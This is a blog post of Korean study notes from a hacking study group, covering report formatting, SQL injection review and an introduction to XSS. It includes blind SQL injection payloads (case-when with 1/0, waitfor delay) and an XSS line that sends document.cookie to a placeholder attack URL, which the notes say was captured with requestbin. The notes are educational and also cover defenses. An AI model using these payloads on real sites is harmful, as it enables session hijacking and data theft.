본문 바로가기

해킹/Web Hacking

[6주차] 해킹 스터디 정리 - SQL Injection 복습, XSS

-보고서

> 포트폴리오

 

1 ) 폰트 통일 ( 스타일, 크기, 색깔.)

제목부분.

본문.

-> 글씨 컬러. X

-> 볼드체. 굵은 글씨.

-> 빨간색.?

 

2 ) 사진

캡쳐화면

보고서에 쓴 글씨 크기와 캡쳐한 그림의 폰트 크기가 비슷해야 함.

 

3 ) 풀이 과정 디테일.

코드를 타이핑해서 넣어도 되고

사진으로 보기좋게 넣어도 됨

 

---------------------------------------------------------

SQL Injection

<1> What?

-> 임의의 SQL 질의문을 삽입해 실행하는 공격

 

<2> 시나리오

- 인증 우회, 데이터 추출, 변조.

+ WEB shell. DB : SQL 질의문. file upload.

 

<3> 공격 유형

 

- UNION

 

- Error Based SQLi

 

- Blind SQLi

 

<4> 대응 방안

- Prepared Statement

- order by, table column > white LIST 기반 필터링

 

화이트 리스트 => 내가 지정한 항목만 들어오게 하는 것

블랙 리스트 => 내가 지정한 항목만 금지시키는 것

 

-> 화이트 리스트가 좀 더 안전함

블랙 리스트 필터링 기반은 우회의 여지가 항상 존재

 

 

<-> 모의해킹 주의할 점.

1. insert, delete, update 구문. X

 

update ... where id=' '

insert ... ' '

보통 select 만 사용하는 편

 

만약 게시판에서 SQL Injection 취약점이 발견되었다면

모든 곳에서 Prepared Statement 처리하세요

라고 말하는 것이 좋음

 

2. 주석. 남용 X

 

3. 데이터 변조 금지.

update

 

** SQL Injection

 

파라미터

게시판 검색 : 

sotingAd=, (case+when+ascii(substr((select+user+from+dual),1,1))

=0+then+1+else+(1/0)+end)

 

정렬

order by 1 , ( )

 

거짓일 경우 1 / 0 을 실행하면 에러가 뜨게 됨

 

case when (조건) then (참일경우) else (거짓일경우) end

 

ASC; if substring((select user_name()),1,1)='a' waitfor delay '0:0:1'

첫 글자가 a라면 1초 뒤에 응답하게 만든다는 뜻

 

----------------------------------------------------------------------

XSS ( 크로스 사이트 스크립팅 )

-> 발음 어려워서 보통 '크사' 라고 함

-> 크스스

-> 크사스

-> 크스

 

정말 모든 곳에서 XSS 취약점이 발생할 수 있음

 

:이 취약점은 정말 많다.

: 우리들의 친구(?)

 

** Server Side vs Client Side 

-> 서버에서 실행되는 코드

 

-> 클라이언트 측에서 실행되는 코드.

(웹 브라우저)

HTML, css, javascript.

 

-> 클라이언트 측 코드를 삽입하는 공격.

 

변수 선언.

const, let, var

 

알림창 띄우기

alert ()

 

페이지 이동

location.href = "공격자 피싱 사이트";

 

location.replace = "";

 

** WEB Request XML

var i = new Image();

i.src = "attack URL?cookie=" + document.cookie

 

session ID 탈취 시나리오

 

** Keylogger

 

** Crypto miner

 

XSS

-> 클라이언트 측 코드를 삽입하는 공격.

-> 피해자 컴퓨터 ( 웹 브라우저) 실행되게 만드는 공격.

 

어떻게? 삽입해? How

(1) 서버에 저장하자! : Stored XSS

 

<script>alert()</script>

 

POC 코드. 증명용 코드.

사실 alert 만 뜨는 건 아무 의미가 없음

 

Requestbin

 

게시판에서 XSS 를 테스트해볼 것이다.

 

이 해당 게시판에서는 내용 부분이 아닌 제목에 POC 코드가 먹혔다

EX ) alert()

 

공격 서버를 requestbin 을 이용해서 간이 생성했다

이걸 사용자가 클릭해서 읽으면 session id를 탈취할 수가 있게 된다.

 

 

XSS

Step 1. alert() -> POC

Step 2. 공격 코드를 넣는다.

안돼네? F12 -> Console. 빨간색. 에러